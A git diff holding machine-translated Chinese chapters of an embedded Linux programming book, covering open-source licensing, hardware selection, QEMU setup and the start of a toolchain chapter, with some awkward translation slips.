社区是一个松散的开发者联盟,他们中的许多人以某种方式获得资金,可能是由非营利组织、学术机构或商业公司提供资金。 他们共同努力,以推动各种项目的目标。 它们的数量很多,有的很小,有的很大。 在本书的其余部分,我们将使用一些 Linux 本身、U-Boot、BusyBox、Buildroot、Yocto 项目,以及 GNU 保护伞下的许多项目。 -* **CPU 架构师**:这些是设计我们使用的 CPU 的组织。 这里最重要的是 ARM/Linaro(ARM Cortex-A)、Intel(x86 和 x86_64)、SiFive(RISC-V)和 IBM(PowerPC)。 它们实现或至少影响对基本 CPU 体系结构的支持。 -* **SoC 供应商**(Broadcom、Intel、MicroChip、NXP、Qualcomm、TI 等):他们从 CPU 架构师那里获取内核和工具链,并对其进行修改以支持他们的芯片。 他们还创建参考板:下一级用来创建开发板和工作产品的设计。 -* **电路板供应商和 OEM**:这些人员采用 SoC 供应商的参考设计,并将其嵌入到特定产品中,例如机顶盒或摄像头,或者创建更通用的开发板,如研华和 Kontron 的产品。 一个重要的类别是廉价的开发板,如 BeagleBoard/Beaglebone 和 Raspberry Pi,它们已经创建了自己的软件和硬件附加生态系统。 -* **商业 Linux 供应商**:西门子(Mentor)、Timesys 和 Wind River 等公司提供商业 Linux 发行版,这些发行版已经过多个行业(医疗、汽车、航空航天等)的严格监管验证和验证。 - -这些组件形成一个链条,您的项目通常在最后,这意味着您不能自由选择组件。 您不能简单地从[https://www.kernel.org/](https://www.kernel.org/)获取最新内核,除非在极少数情况下,因为它不支持您正在使用的芯片或主板。 - -这是嵌入式开发中持续存在的问题。 理想情况下,链中每个环节的开发人员都会将他们的更改推向上游,但事实并非如此。一个内核中有数千个未合并补丁的情况并不少见。 此外,SoC 供应商倾向于只为他们最新的芯片积极开发开源组件,这意味着对任何超过几年历史的芯片的支持都将被冻结,不会收到任何更新。 - -其结果是,大多数嵌入式设计都是基于旧版本的软件。 它们不会收到安全修复、性能增强或较新版本中的功能。 心脏出血(OpenSSL 库中的一个 bug)和 Shellock(bash shell 中的一个 bug)等问题没有得到修复。 我将在本章后面的安全主题下详细讨论这一点。 - -看你怎么办? 首先,询问您的供应商(恩智浦、德州仪器和 Xilinx,仅举几例):他们的更新策略是什么,他们多久修改一次内核版本,当前的内核版本是什么,之前的版本是什么,以及他们在上游合并更改的政策是什么? 一些供应商正以这种方式大踏步前进。 你应该更喜欢他们的薯条。 - -其次,你可以采取措施让自己更自给自足。 *第 1 节*中的章节更详细地解释了依赖关系,并向您展示了您可以帮助自己的位置。 不要只接受 SoC 或电路板供应商提供给您的封装,盲目使用,而不考虑其他选择。 - -# 在项目生命周期中移动 - -本书分为四个部分,分别反映了项目的各个阶段。 这些阶段不一定是连续的。 通常,它们是重叠的,您需要返回以重新查看以前做过的事情。 但是,它们代表了开发人员在项目进行过程中的关注点: - -* *嵌入式 Linux 元素*(*第 1 章*至*8*)将帮助您设置开发环境,并为后续阶段创建工作平台。 它通常被称为**板启动**阶段。 -* *系统架构和设计选择*(*第 9 章*至*15*)将帮助您了解您必须做出的一些设计决策,这些决策涉及程序和数据的存储、如何在内核设备驱动程序和应用之间分配工作以及如何初始化系统。 -* *编写嵌入式应用*(*第 16 章*到*18*)展示了如何打包和部署 Python 应用,如何有效利用 Linux 进程和线程模型,以及如何在资源受限的设备中管理内存。 -* *调试和优化性能*(*第 19 章*到*21*)介绍了如何在应用和内核中跟踪、分析和调试代码。 最后一章解释了如何在需要时针对实时行为进行设计。 - -现在,让我们把重点放在构成本书第一部分的嵌入式 Linux 的四个基本元素上。 - -## 嵌入式 Linux 的四大要素 - -每个项目都从获取、定制和部署这四个元素开始:工具链、引导加载程序、内核和根文件系统。 这是本书第一节的主题。 - -* **工具链**:为 - 目标设备创建代码所需的编译器和其他工具。 -* **bootloader**:初始化板并加载 Linux 内核的程序。 -* **内核**:这是系统的核心,管理系统资源并与硬件连接。 -* **根文件系统**:包含内核完成初始化后运行的库和程序。 - -当然,还有第五个元素,这里没有提到。 这是特定于你的嵌入式应用的程序集合,这些程序可以让设备做任何它应该做的事情,无论是称重食品杂货,显示电影,控制机器人,还是驾驶无人机。 - -通常,当您购买 SoC 或电路板时,会将这些元素中的一些或全部打包提供给您。 但是,由于上一段提到的原因,它们可能不是你的最佳选择。 在前八章中,我将向您介绍做出正确选择的背景知识,并向您介绍两个自动化整个过程的工具:Buildroot 和 Yocto Project。 - -# 导航开源 - -嵌入式 Linux 的组件是*开源的*,所以现在是时候考虑这意味着什么,为什么开源是这样工作的,以及这对您将从它创建的通常是专有的嵌入式设备有什么影响。 - -## 许可证 - -在谈到开放源码时,经常使用单词*free*。 刚接触该主题的人通常认为这意味着*免费*,而且开源软件许可证确实可以保证您可以免费使用该软件开发和部署系统。 然而,这里更重要的含义是自由,因为您可以自由地获取源代码、以任何您认为合适的方式对其进行修改,并将其重新部署到其他系统中。 这些执照给了你这个权利。 相比之下,免费软件许可允许您免费复制二进制文件,但不向您提供源代码,或者其他许可允许您在某些情况下免费使用软件,例如,用于个人用途,但不用于商业用途。 这些都不是开源的。 - -为了帮助您理解使用开放源码许可的含义,我将提供以下评论,但我想指出的是,我是一名工程师,而不是律师。 下面是我对许可证及其解释方式的理解。 - -开源许可证大致分为两类:*CopyLeft*许可证,如**GNU 通用公共许可证**(**GPL**);许可许可证,如**BSD**和**MIT**许可证。 - -许可许可实质上是说,只要您不以任何方式修改许可条款,您就可以修改源代码并在您自己选择的系统中使用它。 换句话说,只要有一个限制,您就可以随心所欲地使用它,包括将其构建到可能的专有系统中。 - -GPL 许可证类似,但有条款,强制您将获取和修改软件的权利传递给您的最终用户。 换句话说,您共享您的源代码。 一种选择是将其完全公开,将其放到公共服务器上。 另一种方式是仅将其提供给您的最终用户,方式是以书面形式提供代码,以便在请求时提供代码。 GPL 更进一步说,您不能将 GPL 代码合并到专有程序中。 任何这样做的尝试都会使 GPL 适用于整个国家。 换句话说,您不能在一个程序中组合 GPL 和专有代码。 除了 Linux 内核,GNU 编译器集合和 GNU 调试器以及与 GNU 项目相关的许多其他免费工具都属于 GPL 的范畴。 - -那么,图书馆呢? 如果他们获得了 GPL 的许可,任何与他们链接的程序也将成为 GPL。 但是,大多数库都是按照**GNU Lesser General Public License**(**LGPL**)许可的。 如果是这种情况,您可以通过专有程序与它们链接。 - -重要音符 - -所有上述描述具体涉及 GPL v2 和 LGPL v2.1。 我应该提一下 GPL v3 和 LGPL v3 的最新版本。 这些都是有争议的,我承认我并不完全理解其中的含义。 然而,这样做的目的是确保任何系统中的 GPLv3 和 LGPLv3 组件都可以由最终用户替换,这符合每个人都可以使用开放源码软件的精神。 - -不过,GPL v3 和 LGPL v3 都有它们的问题。 这是安全方面的问题。 如果设备的所有者有权访问系统代码,那么不受欢迎的入侵者也可能有权访问系统代码。 通常情况下,防御措施是拥有由供应商等权威机构签名的内核映像,这样就不可能进行未经授权的更新。 这是不是侵犯了我修改设备的权利? 意见不一。 - -重要音符 - -TiVo 机顶盒是这场辩论的一个重要部分。 它使用的是 Linux 内核,该内核是按照 GPLv2 授权的。 TiVo 已经发布了他们的内核版本的源代码,因此遵守许可证。 TiVo 还有一个引导加载程序,它只加载由它们签名的内核二进制文件。 因此,您可以为 TiVo 盒构建修改后的内核,但不能将其加载到硬件上。 **自由软件基金会**(**FSF**)持立场,认为这不符合开源软件的精神,并将此过程称为**Tivoization**。 GPL v3 和 LGPL v3 就是为了明确防止这种情况发生而编写的。 一些项目,特别是 Linux 内核,一直不愿采用 GPL 版本 3 许可证,因为它们会对设备制造商施加限制。 - -# 嵌入式 Linux 硬件选择 - -如果您正在为嵌入式 Linux 项目设计或选择硬件,您会注意什么? - -首先,内核支持的 CPU 架构-当然,除非您计划自己添加新架构! 查看 Linux5.4 的源代码,有 25 种架构,每种架构都由`arch/`目录中的一个子目录表示。 它们都是 -32 位或 64 位体系结构,大多数都有 MMU,但也有一些没有。 嵌入式设备中最常见的是 ARM、MIPS、PowerPC 和 x86,每种都有 32 位和 64 位版本,所有都有**内存管理单元**(**MMU**)。 - -本书的大部分内容都是针对这类处理器编写的。 还有一个组没有 MMU,它运行 Linux 的一个子集,称为**微控制器 Linux**或**uClinux**。 这些处理器架构包括 ARC(Argonaut RISC Core)、Blackfin、MicroBlaze 和 Nios。 我会不时地提到 uClinux,但我不会详细说明,因为它是一个相当专业的主题。 - -其次,您需要合理数量的 RAM。 16MIB 是一个不错的最低要求,尽管用一半的空间运行 Linux 是很有可能的。 如果您愿意不厌其烦地优化系统的每个部分,甚至可以用 4MiB 运行 Linux。 它甚至有可能变得更低,但总有一天它不再是 Linux。 - -第三,有非易失性存储器,通常是闪存。 对于网络摄像头或简单路由器等简单设备,8 MiB 就足够了。 与 RAM 一样,如果您真的想用更少的存储空间来创建一个可行的 Linux 系统,您可以这样做,但是存储越少,就越难实现。 Linux 广泛支持闪存设备,包括原始 NOR 和 NAND 闪存芯片,以及 SD 卡、eMMC 芯片、USB 闪存等形式的托管闪存。 - -第四,串行端口非常有用,最好是基于 UART 的串行端口。 它不需要安装在生产电路板上,但使电路板的安装、调试和开发变得容易得多。 - -第五,在从头开始时,您需要一些加载软件的方法。 为此,许多微控制器板都安装了**联合测试行动小组**(**JTAG**)接口。 现代 SoC 还能够直接从可移动介质(特别是 SD 卡和微型 SD 卡)或串行接口(如 UART 或 USB)加载引导代码。 - -除了这些基本功能外,还有设备完成任务所需的特定硬件位的接口。 Mainline Linux 附带了适用于数千种不同设备的开源驱动程序,还有来自 SoC 制造商和第三方芯片 OEM 的驱动程序(质量不同),这些驱动程序可能包含在设计中,但请记住我对一些制造商的承诺和能力的评论。 作为嵌入式设备的开发人员,你会发现你花了相当多的时间来评估和调整第三方代码,如果你有的话,或者如果你没有的话,就和制造商联系。最后,你将不得不编写设备对设备独有的接口的支持,或者找人来帮你做这件事。 - -# 获取本书的硬件 - -本书中的示例是通用的,但为了使它们相关且易于遵循,我不得不选择特定的硬件。 我选择了三款样机:Raspberry Pi 4、Beaglebone Black 和 QEMU。 第一款是目前市场上最流行的基于 ARM 的单板计算机。 第二种是可广泛使用且价格低廉的开发板,可用于重要的嵌入式硬件。 第三个是机器仿真器,可用于创建一系列典型的嵌入式硬件系统。 独家使用 QEMU 很有诱惑力,但就像所有的仿真一样,它与真正的 QEMU 并不完全相同。 使用 Raspberry PI 4 和 Beaglebone Black,您可以获得与真实硬件交互并看到真实 LED 闪烁的满足感。 虽然 Beaglebone Black 现在已经有几年的历史了,但它仍然是*开源硬件*(与 Raspberry PI 不同)。 这意味着电路板设计材料对任何人来说都是免费的,任何人都可以在他们的产品中构建 Beaglebone Black 或其衍生产品。 - -无论如何,我鼓励您尝试尽可能多的示例,使用这三个平台中的任何一个,或者使用您可能需要使用的任何嵌入式硬件。 - -## 覆盆子派 4 - -在撰写本文时,Raspberry Pi 4 型号 B 是由 Raspberry Pi 基金会生产的款微型双显示器台式电脑。 他们的网站是 -[https://raspberrypi.org/](https://raspberrypi.org/)。 PI 4 的技术规格包括: - -* Broadcom BCM2711 1.5 GHz 四核 Cortex-A72(ARM®V8)64 位 SoC -* 2、4 或 8 提供 DDR4 RAM -* 2.4 GHz 和 5.0 GHz 802.11ac 无线,蓝牙 5.0,BLE -* 一种用于调试和开发的串口 -* MicroSD 插槽,可用作引导设备 -* 用于为主板供电的 USB-C 连接器 -* 2 个全尺寸 USB 3.0 和 2 个全尺寸 USB 2.0 主机端口 -* 千兆以太网端口 -* 2 个微 HDMI 端口,用于视频和音频输出 - -此外,还有一个 40 针扩展接头,其子板种类繁多,称为**HATS**(**Hardware Attp On Top**),允许您调整该板以执行许多不同的事情。 但是,对于本书中的示例,您不需要任何帽子。 取而代之的是,你将利用 Pi 4 的内置 Wi-Fi 和蓝牙(Beaglebone Black 没有)。 - -除了董事会本身,您还需要以下内容: - -* 能够提供 3 安或更高电流的 5V USB-C 电源 -* 带有 3.3V 逻辑电平引脚的 USB 转 TTL 串行电缆,如 Adafruit 954 -* MicroSD 卡和一种从开发 PC 或笔记本电脑向其写入数据的方式,将软件加载到电路板上需要使用这些卡 -* 以太网电缆和连接它的路由器,因为有些示例需要网络连接 - -接下来是 Beaglebone 黑色。 - -## Beaglebone Black - -Beaglebone 和后来的 BeagleboneBlack 都是为 CircuitCo LLC 生产的信用卡大小的小型开发板设计的开放式硬件。 信息的主存储库位于[https://beagleboard.org/](https://beagleboard.org/)。 本规范的要点如下: - -* 至 IT AM335x 1 GHz ARM®Cortex-A8 Sitara SOC -* 512 MiB DDR3 RAM -* 2 或 4 GiB 8 位 eMMC 板载闪存 -* 一种用于调试和开发的串口 -* MicroSD 插槽,可用作引导设备 -* 迷你 USB OTG 客户端/主机端口,也可用于为主板供电 -* 全尺寸 USB 2.0 主机端口 -* 10/100 以太网端口 -* 用于视频和音频输出的 HDMI 端口 - -此外,还有两个 46 针扩展接头,其子板种类繁多,称为**CAPES**,可让适配板来做许多不同的事情。 但是,您不需要为本书中的示例安装任何大写字母。 - -除了董事会本身,您还需要以下内容: - -* 迷你 USB 转 USB-A 电缆(随主板提供)。 -* 可与主板提供的 6 针 3.3V TTL 电平信号接口的串行电缆。 BeagleBoard 网站上有兼容电缆的链接。 -* MicroSD 卡和一种从开发 PC 或笔记本电脑向其写入的方式,将软件加载到电路板上需要使用这些卡。 -* 以太网电缆和连接它的路由器,因为有些示例需要网络连接。 -* 能够提供 1 安或更高电流的 5V 电源。 - -除上述外,[*第 12 章*](12.html#_idTextAnchor356),*用分线板制作原型*还要求 -下列: - -* SparkFun 型全球定位系统-15193 突破板。 -* Saleae Logic 8 逻辑分析仪。 该设备将用于探测 Beaglebone Black 和 neo-M9N 之间 SPI 通信的引脚。 - -## QEMU - -QEMU 是一个机器仿真器。 它有种不同的风格,每种风格都可以模仿处理器体系结构和使用该体系结构构建的许多电路板。 例如,我们有以下内容: - -* `qemu-system-arm`:32 位 ARM -* `qemu-system-mips`:MIPS -* `qemu-system-ppc`:PowerPC -* `qemu-system-x86`:x86 和 x86_64 - -对于每个体系结构,QEMU 都会模拟一系列硬件,您可以使用`-machine help`选项查看这些硬件。 每台机器都模拟该电路板上通常可以找到的大多数硬件。 可以选择将硬件链接到本地资源,例如对模拟磁盘驱动器使用本地文件。 - -下面是一个具体的例子: - -```sh -$ qemu-system-arm -machine vexpress-a9 -m 256M -drive file=rootfs.ext4,sd -net nic -net use -kernel zImage -dtb vexpress- v2p-ca9.dtb -append "console=ttyAMA0,115200 root=/dev/mmcblk0" -serial stdio -net nic,model=lan9118 -net tap,ifname=tap0 -``` - -前面命令行中使用的选项如下: - -* `-machine vexpress-a9`:创建采用 Cortex A-9 处理器的 ARM 多功能 Express 开发板的仿真 -* `-m 256M`:用 256 MiB 的 RAM 填充它 -* `-drive file=rootfs.ext4,sd`:将 SD 接口连接到本地文件`rootfs.ext4`(包含文件系统映像) -* `-kernel zImage`:从名为`zImage`的本地文件加载 Linux 内核 -* `-dtb vexpress-v2p- ca9.dtb`:从本地文件`vexpress-v2p-ca9.dtb`加载设备树 -* `-append "..."`:将此字符串附加为内核命令行 -* `-serial stdio`:将串行端口连接到启动 QEMU 的终端,通常这样您就可以通过串行控制台登录到仿真机器 -* `-net nic,model=lan9118`:创建网络接口 -* `-net tap,ifname=tap0`:将网络接口连接到虚拟网络接口`tap0` - -要配置网络的主机端,您需要**User Mode Linux**(**UML**)项目中的`tunctl`命令;在 Debian 和 Ubuntu 上,程序包名为`uml-utilites`: - -```sh -$ sudo tunctl -u $(whoami) -t tap0 -``` - -这将创建名为`tap0`的网络接口,该接口连接到仿真 QEMU 机器中的网络控制器。 配置`tap0`的方式与任何其他接口完全相同。 - -所有这些选项都将在接下来的章节中详细介绍。 我将在我的大多数示例中使用 Versatile Express,但是使用不同的机器或架构应该很容易。 - -# 调配您的开发环境 - -我只使用了开源软件,既用于开发工具,也用于目标操作系统和应用。 我假设您将在您的开发系统上使用 Linux。 我使用 Ubuntu20.04LTS 测试了所有主机命令,因此对该特定版本略有偏爱,但任何现代 Linux 发行版都可能工作得很好。 - -# 摘要 - -嵌入式硬件将继续变得更加复杂,遵循摩尔定律设定的轨迹。 Linux 拥有高效利用硬件的能力和灵活性。 我们将一起学习如何驾驭这股力量,这样我们就能打造出让用户满意的健壮产品。 本书将带您经历嵌入式项目生命周期的五个阶段,从嵌入式 Linux 的四个要素开始。 - -种类繁多的嵌入式平台和快速的开发速度导致了孤立的软件池。 在许多情况下,您将依赖该软件,特别是由您的 SoC 或电路板供应商提供的 Linux 内核,并且在较小程度上依赖于工具链。 一些 SoC 制造商越来越善于将他们的更改推向上游,这些更改的维护也变得越来越容易。 尽管有这些改进,为您的嵌入式 Linux 项目选择正确的硬件仍然是一项充满风险的工作。 开源许可遵从性是在嵌入式 Linux 生态系统上构建产品时需要注意的另一个主题。 - -在本章中,我们向您介绍了本书中将使用的硬件和一些软件(即 QEMU)。 稍后,我们将研究一些功能强大的工具,它们可以帮助您为您的设备创建和维护软件。 我们报道 Buildroot 并深入挖掘 Yocto 项目。 在我描述这些构建工具之前,我将介绍嵌入式 Linux 的四个元素,您可以将它们应用于所有嵌入式 Linux 项目,无论它们是如何创建的。 - -下一章将介绍其中的第一个部分,即工具链,为您的目标平台编译代码所需的工具链。 \ No newline at end of file diff --git a/docs/master-emb-linux-prog/02.md b/docs/master-emb-linux-prog/02.md deleted file mode 100644 index b91a0a3f..00000000 --- a/docs/master-emb-linux-prog/02.md +++ /dev/null @@ -1,913 +0,0 @@ -# 二、学习工具链 - -工具链是嵌入式 Linux 的第一个元素,也是项目的起点。 您将使用它来编译将在您的设备上运行的所有代码。 你在这个早期阶段所做的选择将对最终结果产生深远的影响。 通过使用处理器的最佳指令集,您的工具链应该能够有效地利用您的硬件。 它应该支持您需要的语言,并可靠地实现了**可移植操作系统接口**(**POSIX**)和其他系统接口。 - -您的工具链应该在整个项目中保持不变。 换句话说,一旦您选择了工具链,坚持使用它是很重要的。 在项目期间以不一致的方式更改编译器和开发库将导致细微的错误。 也就是说,当发现安全缺陷或 bug 时,最好还是更新您的工具链。 - -获得工具链可以像下载并安装 tar 文件一样简单,也可以像从源代码构建整个工具链一样复杂。 在本章中,我将在名为**Crossstool-NG**的工具的帮助下采用后一种方法,这样我就可以向您展示创建工具链的细节。 稍后,在[*第 6 章*](06.html#_idTextAnchor164),*选择构建系统*中,我将切换到使用构建系统生成的工具链,这是获得工具链的更常用方法。 当我们读到[*第 14 章*](14.html#_idTextAnchor411),*从 BusyBox Runit*开始,我们将通过下载预构建的 Linaro 工具链与 Buildroot 一起使用来节省一些时间。 - -在本章中,我们将介绍以下主题: - -* 工具链简介 -* 查找工具链 -* 使用 Crossstool-NG 工具构建工具链 -* 工具链的解剖 -* 与库链接-静态和动态链接 -* 交叉编译的艺术 - -# 技术要求 - -要按照示例操作,请确保您具备以下条件: - -* 基于 Linux 的主机系统,具有`autoconf`、`automake`、`bison`、`bzip2`、`cmake`、`flex`、`g++`、`gawk`、`gcc`、`gettext`、`git`、`gperf`、`help2man`、`libncurses5-dev`、`libstdc++6`、`libtool`、`libtool-bin`、`make`、`patch`、`python3-dev`、。 `rsync`、`texinfo`、`unzip`、`wget`和`xz-utils`或其等价物已安装。 - -我推荐使用 Ubuntu20.04LTS 或更高版本,因为在撰写本文时,本章中的练习都是针对该 Linux 发行版进行测试的。 下面是在 Ubuntu 20.04 LTS 上安装所有必需软件包的命令: - -```sh -$ sudo apt-get install autoconf automake bison bzip2 cmake \ flex g++ gawk gcc -gettext git gperf help2man libncurses5-dev libstdc++6 libtool \ libtool-bin make -patch python3-dev rsync texinfo unzip wget xz-utils -``` - -本章的所有代码都可以在本书的 giHub 存储库的`Chapter02`文件夹中找到:[https://github.com/PacktPublishing/Mastering-Embedded-Linux-Programming-Third-Edition](https://github.com/PacktPublishing/Mastering-Embedded-Linux-Programming-Third-Edition) - -# 工具链简介 - -工具链是将源代码编译成可在目标设备上运行的可执行文件的一组工具,包括编译器、链接器和运行时库。 最初,您需要一个组件来构建嵌入式 Linux 系统的其他三个元素:引导加载程序、内核和根文件系统。 它必须能够编译用汇编语言、C 和 C++编写的代码,因为这些都是基本开放源码包中使用的语言。 - -通常,LINUX 的工具链基于 GNU 项目的组件 -([http://www.gnu.org](http://www.gnu.org)),在撰写本文时的大多数情况下,这一点仍然适用于。 然而,在过去的几年里,**Clang**编译器和相关的**低级虚拟机**(**LLVM**)项目([GNU](http://llvm.org))已经发展到了可以替代 http://llvm.org 工具链的地步。 LLVM 和基于 GNU 的工具链之间的一个主要区别是许可;LLVM 拥有 BSD 许可证,而 GNU 拥有 GPL。 - -Clang 也有一些的技术优势,比如更快的编译速度和更好的诊断能力,但 GNU GCC 的优势是与现有的代码库兼容,并支持广泛的架构和操作系统。 虽然花了几年时间才做到这一点,但 Clang 现在可以编译嵌入式 Linux 所需的所有组件,是 GNU 的可行替代品。 要了解更多信息,请参阅[https://www.kernel.org/doc/html/latest/kbuild/llvm.html](https://www.kernel.org/doc/html/latest/kbuild/llvm.html)。 - -对于如何在[https://clang.llvm.org/docs/CrossCompilation.html](https://clang.llvm.org/docs/CrossCompilation.html)使用 clang 进行交叉编译有很好的描述。 如果您想将其作为嵌入式 Linux 构建系统的一部分使用,EmbToolkit([Clang](https://embtoolkit.org))完全支持 GNU 和 LLVM/https://embtoolkit.org 工具链,很多人正在使用 Clang with Buildroot 和 Yocto 项目。 我将在[*第 6 章*](06.html#_idTextAnchor164),*选择构建系统*中介绍嵌入式构建系统。 同时,本章重点介绍 GNU 工具链,因为它仍然是 Linux 最流行和最成熟的工具链。 - -标准 GNU 工具链由三个主要组件组成: - -* **Binutils**:一组二进制实用程序,包括汇编器和链接器。 它在[http://gnu.org/software/binutils](http://gnu.org/software/binutils)上提供。 -* **GNU 编译器集合**(**GCC**):这些是针对 C 和其他语言的编译器,具体取决于 GCC 的版本,包括 C++、Objective-C、Objective-C++、JAVA、FORTRAN、Ada 和 Go。 它们都使用一个共同的后端来生成汇编器代码,并将这些代码提供给 GNU 汇编器。 可在[http://gcc.gnu.org/](http://gcc.gnu.org/)购买。 -* **C 库**:基于 POSIX 规范的标准化**应用编程接口**(**API**),它是应用的操作系统内核 - 的主要接口。 正如我们将在本章后面看到的那样,有几个 C 库需要考虑。 - -除此之外,您还需要一份 Linux 内核头的副本,其中包含直接访问内核时所需的定义和常量。 现在,您需要它们能够编译 C 库,但稍后在编写程序或编译与特定 Linux 设备交互的库(例如,通过 Linux 帧缓冲区驱动程序显示图形)时也需要它们。 这不仅仅是在内核源代码的`include`目录中复制头文件的问题。 这些头文件仅在内核中使用,并且包含的定义如果在其原始状态下用于编译常规的 Linux 应用,将会导致冲突。 - -相反,您将需要生成一组经过清理的内核标头,我已经在[*第 5 章*](05.html#_idTextAnchor122),*构建根文件系统*中进行了说明。 - -内核头部是否从您将要使用的 Linux 的确切版本生成通常并不重要。 因为内核接口总是向后兼容的,所以只需要标头来自与您在目标上使用的内核相同或更早的内核。 - -大多数人认为**GNU 调试器**(**gdb**)也是工具链的一部分,通常在这一点上构建它。 我将在[*第 19 章*](19.html#_idTextAnchor529),*使用 GDB*调试中讨论 GDB。 - -既然我们已经讨论了内核头,并了解了工具链的组件是什么,那么让我们来看看不同类型的工具链。 - -## 工具链类型 - -出于我们的目的,有两种类型的工具链: - -* **原生**:此工具链在与其生成的程序相同类型的系统(有时是相同的实际系统)上运行。 这是台式机和服务器的常见情况,并且在某些类型的嵌入式设备上变得流行起来。 例如,运行 Debian for ARM 的 Raspberry PI 拥有自托管的本机编译器。 -* **Cross**:此工具链在与目标系统不同的系统类型上运行,允许在速度较快的台式 PC 上完成开发,然后加载到嵌入式目标上进行测试。 - -几乎所有嵌入式 Linux 开发都是使用交叉开发工具链完成的,部分原因是大多数嵌入式设备不太适合程序开发,因为它们缺乏计算能力、内存和存储,但也因为它将主机环境和目标环境分开。 例如,当主机和目标使用相同的体系结构`x86_64`时,后一点尤其重要。 在这种情况下,很容易在主机上进行本机编译,然后简单地将二进制文件复制到目标。 - -这在一定程度上是可行的,但很可能主机发行版接收更新的频率比目标版本更高,或者为目标构建代码的不同工程师的主机开发库版本略有不同。 随着时间的推移,开发系统和目标系统将会分道扬镳,您将违反工具链应该在整个项目生命周期中保持不变的原则。 如果确保主机和目标生成环境彼此步调一致,则可以使用此方法。 然而,一种更好的方法是将主机和目标分开,而跨工具链是实现这一点的方法。 - -然而,也有一种相反的观点支持本土化发展。 交叉开发带来了交叉编译目标所需的所有库和工具的负担。 我们将在后面标题为*交叉编译的艺术*一节中看到,交叉开发并不总是简单的,因为许多开放源码包不是以这种方式设计的。 集成的构建工具(包括 Buildroot 和 Yocto Project)通过封装规则来帮助交叉编译您在典型嵌入式系统中需要的一系列包,但是如果您想编译大量额外的包,则最好在本地编译它们。 例如,使用交叉编译器为 Raspberry PI 或 Beaglebone 构建 Debian 发行版将非常困难。 相反,它们是本地编译的。 - -从头开始创建本地构建环境并非易事。 首先,您仍然需要一个交叉编译器来在目标上创建本地构建环境,然后使用该环境来构建包。 然后,为了在合理的时间内执行本机构建,您需要一个配置良好的目标板的构建群,或者您可以使用**Quick Emulator**(**QEMU**)来模拟目标。 - -同时,在本章中,我将重点介绍一个更主流的交叉编译环境,它相对容易设置和管理。 我们将首先了解一个目标 CPU 体系结构与另一个目标 CPU 体系结构的不同之处。 - -## CPU 架构 - -工具链必须根据目标 CPU 的能力构建,包括以下内容: - -* **CPU 体系结构**:**ARM**、**无互锁流水线级的微处理器**(**MIPS**)、x86_64 等。 -* **大端或小端操作**:某些 CPU 可以同时在两种模式下运行,但每种模式的机器代码都不同。 -* **浮点支持**:并非所有版本的嵌入式处理器都实现硬件浮点单元,在这种情况下,工具链必须配置为调用软件浮点库。 -* **应用二进制接口**(**ABI**):用于在函数调用之间传递参数的调用约定。 - -对于许多架构,ABI 在处理器系列中是恒定的。 一个值得注意的例外是 ARM。 ARM 体系结构在本世纪头十年末过渡到**扩展应用二进制接口**(**EABI**),导致以前的 ABI 被命名为**旧应用二进制接口**(**OABI**)。 虽然 OABI 现在已经过时,但您将继续看到对 EABI 的引用。 从那时起,根据传递浮点参数的方式,EABI 被一分为二。 - -最初的 EABI 使用通用(整数)寄存器,而较新的**扩展应用二进制接口 Hard-Float**(**EABIHF**)使用浮点寄存器。 EABIHF 的浮点运算速度要快得多,因为它消除了在整数和浮点寄存器之间进行复制的需要,但它与没有浮点单元的 CPU 不兼容。 因此,需要在两个不兼容的 ABI 之间做出选择;您不能混合匹配这两个,因此您必须在这个阶段做出决定。 - -GNU 使用前缀来表示工具链中每个工具的名称,以标识可以生成的各种组合。 它由由短划线分隔的三个或四个组件组成的元组组成,如下所述: - -* **CPU**:这是 CPU 架构,例如 ARM、MIPS 或 x86_64。 如果 CPU 同时具有两种字符顺序模式,则可以通过为小端字符顺序添加`el`或为大端字符顺序添加`eb`来区分它们。 很好的例子是 Little-endian MIPS`mipsel`和 Big-endian arm`armeb`。 -* **供应商**:这标识工具链的提供商。 示例包括`buildroot`、`poky`或仅`unknown`。 有时它被完全省略了。 -* **内核**:出于我们的目的,它始终是`linux`。 -* **操作系统**:用户空间组件的名称,可以是`gnu`或`musl`。 ABI 也可以附加在这里,因此对于 ARM 工具链,您可能会看到`gnueabi`、`gnueabihf`、`musleabi`或`musleabihf`。 - -您可以通过使用`gcc`的`-dumpmachine`选项找到构建工具链时使用的元组。 例如,您可能会在主机上看到以下内容: - -```sh -$ gcc -dumpmachine -x86_64-linux-gnu -``` - -这个元组表示 CPU 为`x86_64`,内核为`linux`,用户空间为`gnu`。 - -重要音符 - -当本机编译器安装在机器上时,通常会创建指向工具链中每个工具的无前缀链接,以便您可以使用`gcc`命令调用 C 编译器。 - -以下是使用交叉编译器的示例: - -```sh -$ mipsel-unknown-linux-gnu-gcc -dumpmachine -mipsel-unknown-linux-gnu -``` - -这个元组表示小端 MIPS 的 CPU、`unknown`供应商、`linux`的内核和`gnu`的用户空间。 - -## 选择 C 库 - -Unix 操作系统的编程接口是用 C 语言定义的,现在由 POSIX 标准定义。 **C 库**是该接口的实现;它是 Linux 程序的内核网关,如下图所示。 即使您使用另一种语言(可能是 Java 或 Python)编写程序,相应的运行时支持库最终也必须调用 C 库,如下所示: - -![Figure 2.1 – C library](img/B11566_02_001.jpg) - -图 2.1-C 库 - -当 C 库需要内核的服务时,它会使用内核系统调用接口在用户空间和内核空间之间进行转换。 可以通过直接调用内核系统来绕过 C 库,但这很麻烦,而且几乎从不需要。 - -有几个 C 库可供选择。 主要选项如下: - -* **glibc**:这是标准的 GNUC 库,可从[https://gnu.org/software/libc](https://gnu.org/software/libc)获得。 它很大,而且直到最近还不太容易配置,但它是 POSIX API 最完整的实现。 许可证为 LGPL 2.1。 -* **MUSL libc**:这是在[https://musl.libc.org](https://musl.libc.org)提供的。 `musl libc`库相对较新,但是作为 GNU`libc`的一个符合标准的小型替代方案,它已经获得了很多关注。 对于 RAM 和存储容量有限的系统来说,它是一个很好的选择。 它有麻省理工学院的执照。 -* **uClibc-ng**:这是在[https://uclibc-ng.org](https://uclibc-ng.org)提供的。 `u`实际上是一个希腊语`mu`字符,表示这是微控制器 C 库。 它最初是为与 uClinux(用于没有内存管理单元的 CPU 的 Linux)配合使用而开发的,但后来已被修改为与完整的 Linux 配合使用。 `uClibc-ng`库是最初的`uClibc`项目([https://uclibc.org](https://uclibc.org))的分支,不幸的是该项目年久失修。 这两个版本都获得了 LGPL 2.1 的许可。 -* **eglibc**:这是在[http://www.eglibc.org/home](http://www.eglibc.org/home)提供的。 现在已经过时了,`eglibc`是`glibc`的分支,经过修改使其更适合嵌入式使用。 其中,`eglibc`增加了配置选项和对`glibc`未涵盖的体系结构的支持,特别是 PowerPC E500 CPU 核心。 在版本 2.20 